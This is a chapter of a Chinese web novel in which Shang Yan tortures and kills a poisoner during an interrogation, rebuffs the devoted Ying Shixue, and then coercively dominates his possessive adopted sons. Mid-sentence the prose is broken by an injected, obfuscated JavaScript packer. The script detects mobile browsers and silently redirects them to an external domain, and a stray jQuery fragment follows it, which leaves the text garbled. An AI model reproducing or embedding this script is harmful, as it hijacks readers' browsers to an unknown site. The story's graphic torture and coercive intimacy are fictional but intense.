审讯室里的冷光将墙面照得惨败,商言摩挲着袖口,皮鞋尖轻点着地面,在寂静中敲出令人心悸得节奏。
绑在铁椅上的人额角渗血,被应拭雪揍出得淤青还未消退,此刻却在商言深不可测的目光下,后颈泛出细密的冷汗。
“说说吧。”
商言的声音像淬了冰的刀刃,尾音却带着漫不经心的优雅。
他伸手摘下黑色皮革手套,露出腕间那根细细的红绳,攀附在苍白的手腕上,艳丽而暧昧——那是应拭雪硬要送给他的,说是一步一个磕头,从庙里求来的。
而脖颈间的冰凉,让他无意识地摩挲着藏在衬衫领口的长命锁,他不喜欢带首饰,但应拭雪是个烦人的黏人精,软磨硬泡自己戴上,他也就半推半就的戴上了。
却不知道为什么,一直忘了解下来。
纯银的锁身上刻着“岁岁平安”,坠着的小铃铛随着动作发出细碎声响。
商言揉了揉眉心,真是不在他身边,也硬要留着一个东西,来彰显他的存在。
思绪渐渐跑远,商言收回了发散想法,垂眸看着眼前的人:
“谁指使你下毒的?”
那人刚要开口狡辩,商言修长的手指握着的金属打火机突然“咔哒”炸开幽蓝火焰。
商言将火苗凑近他的手腕,皮革灼烧的焦糊味瞬间弥漫:
“你应该知道商家的审讯室,隔音效果有多好。”
火苗距皮肤仅剩半寸时,商言突然熄灭打火机,用刀尖轻轻抹去颤抖的人额头的冷汗,刀尖宛如游蛇慢慢滑动到男人的颈动脉处:
“别浪费时间,我耐心有限。”
“我真的……真的……什么都不知道。”
男人崩溃的大哭,连珠般地拱出自己知道的事情,商言却不紧不慢地从西装口袋里取出录音笔,指尖摩挲着开关,商言扯住男人的头发,迫使对方与自己对视:
“声音大点,如果我发现和你说的不相符的地方,哪怕是一个字,你也逃不了。”
“我真的不知道,他来找我的时候,蒙着脸,只给了我钱和一个东西。”
商言冷淡地扫视着男人的脸,然后伸出手,轻轻勾了勾手指。
“在我的衣服口袋里,是条坠子,我看着很值钱,就打算拿去当了。”
商言拿起那条坠子,放在冷白的灯光下,眯起眼,藤蔓缠绕的翡翠坠子泛着冷光,商言指尖触到镂空花纹里卡着的异物。
指甲挑出时,泛黄的薄纸簌簌地展开,墨迹晕染成团。
字迹模仿的是商语冰,标点符号又带着商见迟的写法,末尾的颜文字表情包是应拭雪爱用的,而这种恶趣味是商牧野爱玩的。
“猜猜我是谁?”
写纸条的人刻意模仿自己身边人的字迹,却又要自己猜,像是在玩猫捉老鼠的游戏。
商言嗤笑一声,将那纸条撕成粉末,扔进了垃圾桶。
可惜他,从小到大,最讨厌的就是猫捉老鼠,最喜欢的是守株待兔。
这次他没死,想必对方很不甘心,他已经限制了n市的出入,现在整个n市成了一座囚笼,除非他死,这个人绝对逃不了。
他就在这等着对方的第二次暗杀,而他也要将前世的痛双倍奉还。
审讯还没有结束,门外突然传来敲门声。
应拭雪抱着一个蛋糕探头进来,发梢还翘着呆毛:
“这是我这几天,从我妈咪哪里偷师来的,你尝尝好不好吃。”
话没说完,看到眼前的场面,蛋糕差点掉在地上。
商言指尖绕着浸血的银链,链节相击的轻响像是毒蛇吐信,凤眼瞥了应拭雪一眼,却仍然没有收起染血的手,放下尖刃。
反倒在应拭雪看过来的那一刻,原本悬在男人脖颈尖的刀,彻底划了下去,鲜血涌处的那一瞬间,他看见了应拭雪眼底隐隐约约的害怕。
商言回眸,面无表情地低头,脸隐在阴影里,冷淡而阴郁,凤眼立刻捕捉到了少年的胆怯。
心底莫名的不舒服了一下,但他很快压了下去,睫毛微微垂下。
这就是他想要的,让应拭雪怕他,从而远离他。
“害怕就出去。”
声音依然冷冽,却在对上应拭雪湿漉漉的小鹿眼时,不自觉地放软了语气。
但他没有料到的是,应拭雪没有离开,反而一只脚踏了进来,倔强地摇了摇头,从背包里掏出电击棒。
这是那次商言被投毒后,应拭雪发现自己除了能在事后,做一些微不足道的治疗以外,什么都做不了。
而老师也是这样告诉他的,他是医生只需要负责治好商言,可当他看着商言昏迷的样子,他忍不住用指尖抚上对方的脸。
如果自己能站在商言的身边,是不是能阻止这些伤痛。
看着应拭雪手里的东西,商言薄唇轻抿,挑眉,他伸手将电击棒抽走,扔到了一旁的垃圾桶里,凤眼盯着应拭雪那双不服输的小鹿眼,一字一句地说道:
“应拭雪,你的手是救人的。”
应拭雪拽住了商言伸过来的手,轻轻捏了捏对方的指尖,鼻尖和眼尾红红;
“可是他伤害了你,他给你投毒。”
“但这跟你没关系,我们只是陌生人,连朋友都算不上。”
商言歪着头,轻笑一声,里面带着十足的嘲弄,像是在看一个不懂事的小朋友,他一边说着,一边后退着摇头,傲慢地对应拭雪炙热的爱意做下了评判:
“你根本不知道你在做什么。”
商言在后退,而应拭雪在步步逼近,直到商言身后靠着墙,退无可退,商言才扭过头,避开应拭雪凑近的脸。
温热的鼻息打在脸的一侧,热乎乎的又带来阵阵轻痒,商言呼吸一滞,想要让应拭雪离自己远点,却被抢先打断:
“我知道!”
应拭雪气地跺脚,吸着鼻子,小鹿眼蒙上了一层雾气:
“我不是什么都不懂的小孩,商言,你也不要把我当成玻璃娃娃。”
他突然伸手扯住商言的领带,二人鼻息交融,应拭雪的泪水却先一步砸落,滚烫的水珠坠在商言苍白的脸颊,顺着棱角分明的轮廓蜿蜒。
应拭雪慌忙去擦,却发现泪水根本止不住,只能呜咽地说:
“我看过你身上的每一道伤疤,所以我去和教练学格斗,去看外科的书,去学包扎。”
“我控制不住地想你之前受伤时的样子,我太害怕了,商言,你昏迷的那一天,我特别担心你永远醒不过来。”
应拭雪抬眸看着商言那双怔愣的凤眼,轻轻地环住了商言的腰,黏黏糊糊地说:
“我不想成为你的拖油瓶,我想成为能站在你身边,能独挡一面的人。”
商言推开应拭雪,不自然地转身,垂眸时睫毛在眼下投出冷硬的阴影。
他伸手向触碰应拭雪手上的疤痕,手指却在半空中凝住。
最终只将桌上的祛疤药递了过去,冷声说:
“擦这个药,会好的快。”
凤眼带着明确的驱赶的意味,无声地向应拭雪表明,自己想要他离开的意思。
手腕却突然被对方温热的手指扣住,苍白的皮肤上烙下滚烫的温度。
应拭雪倔强地仰头,鼻尖几乎擦过商言的薄唇:
“商言,没有陌生人希望对方别人保护好自己的,你敢不敢承认,你动摇了?”
空气骤然凝固,商言喉结滚动,手绕着对方的针织衫,将他推到了墙边,掌心不自觉地抵着对方的后脑以免撞疼。
“我从不动摇,应拭雪。”
商言的气息扫过泛红的耳垂,在对方的喘气声里,冷冽的声线带着不容置疑的压迫:
“而且我不想看到你受伤。”
前世不想,这一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15855081|175884||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
世更是不想。
冰冷的尾音在房间里消散,却在应拭雪的心上滚烫。
应拭雪抬眸看商言,小鹿眼里泛起委屈的水光,声音里带着鼻音:
“可我就是想呆在你身边……不管你怎么想,你就是那个能让我平安度过一生的人。”
穿着大衣的商言,推开了商家的门,他揉了揉疲惫的眉心,却看到了三个熟悉的身影。
商语冰倚在门框上转着打火机,商牧野指尖死死抠住沙发的扶手,商见迟则坐在餐桌上,抱着父亲送给他的小熊玩偶。
“怎么,要仿玄武门事变?”
商言挑眉看着自己的三个孩子,每一个都一副被辜负了的恃宠而骄的模样,漫不经心地开了一个冷笑话。
“父亲,你不准转移话题。”
商见迟作为最受宠的小儿子,骄纵地说道,还一手扒下了桌子上的餐具,那是商言最喜欢的一套,此刻在地上成为一滩粉末。
商见迟尖声叫嚷着,睫毛上还挂着泪珠:
“父亲现在越来越少回家了,是要为外面那个野男人抛弃我们?明明您受伤都是因为他,我们才是从小陪在你身边的人!”
商语冰嗤笑一声,火机在指尖划出危险的弧线,明明是垂眸顺从的姿态,却无端透出一种逼迫感:
“父亲,是选他,还是选我们?”
他微微侧脸,露出商言常夸的那张漂亮的右脸,又扯开衬衫,露出心口狰狞的伤口:
“这个伤口是我替您挡的,当时您抱着我在血泊里发抖的样子,我还没有忘……”
沙发发出刺耳的摩擦声,商牧野苍白的脸颊泛起病态的潮红,他握住商言垂落的手,指甲深深掐进商言的掌心,用柔软的卷发蹭了蹭商言的手臂:
“他们都太贪心了。”
染着药渍的绷带轻轻划过商言的手腕:
“只要父亲在我的身边,我可以为您处理掉您看不顺眼的所有人。”
商言毫不犹豫地收回了手,凤眼沉沉地凝视着桑养子——商语冰眼底翻滚着压抑的偏执,商牧野藏在文弱表面下的疯狂,商见迟委屈又骄纵的控诉。
可是这一切又和他有什么关系呢?
那个把养子们宠上天的男人已经死在了前世。
“看来我真是给了你们太多的自由。”
商言一手扯着领带,一边慢慢逼近商语冰,长子总是要最先接受惩罚的。
“弟不教,兄之过。”
他用指腹抚过商语冰泛红怔愣的脸颊,单手扣住对方的手腕抵在墙上,膝盖毫不留情地顶进商语冰的腿间。
“现在认错,还来的及。”
声音冷淡而低沉,带着不容置疑的压迫感。
但商语冰只是将头瞥向一边,哑声说:
“父亲,别的事我都可以认错,除了这件事,他会毁了我们家,毁了你。”
商言的手刚抬起,商语冰条件反射的回想到过去,父亲因为弟弟们犯错,惩罚自己的时刻。
他本能地绷紧脊背,喉结滚动着咽下恐惧。
父亲的手掌于他而言,只会带来疼痛,从无温存。
可这次……
微凉的指尖落在他的脸颊时,商语冰的睫毛猛地一颤。
那只曾经惩罚自己的手,此刻正用指尖摩挲着他的脸颊。
他下意识地屏住呼吸,连睫毛都不敢眨,指尖掐入掌心,疼痛告诉他这并不是梦。
“在抖什么?”
商言低笑,掌心突然贴在商语冰的脸上。
他瞬间僵住,连泪珠悬在睫毛上都忘记了坠落。
他抬眸,看见了父亲戏谑的眉眼。
商语冰这才发现,自己竟然无意识地用脸颊追着蹭父亲的手,像祈怜的猫崽。
商言边摸变笑,凤眼似笑非笑地上跳:
“怎么?还是喜欢挨巴掌?”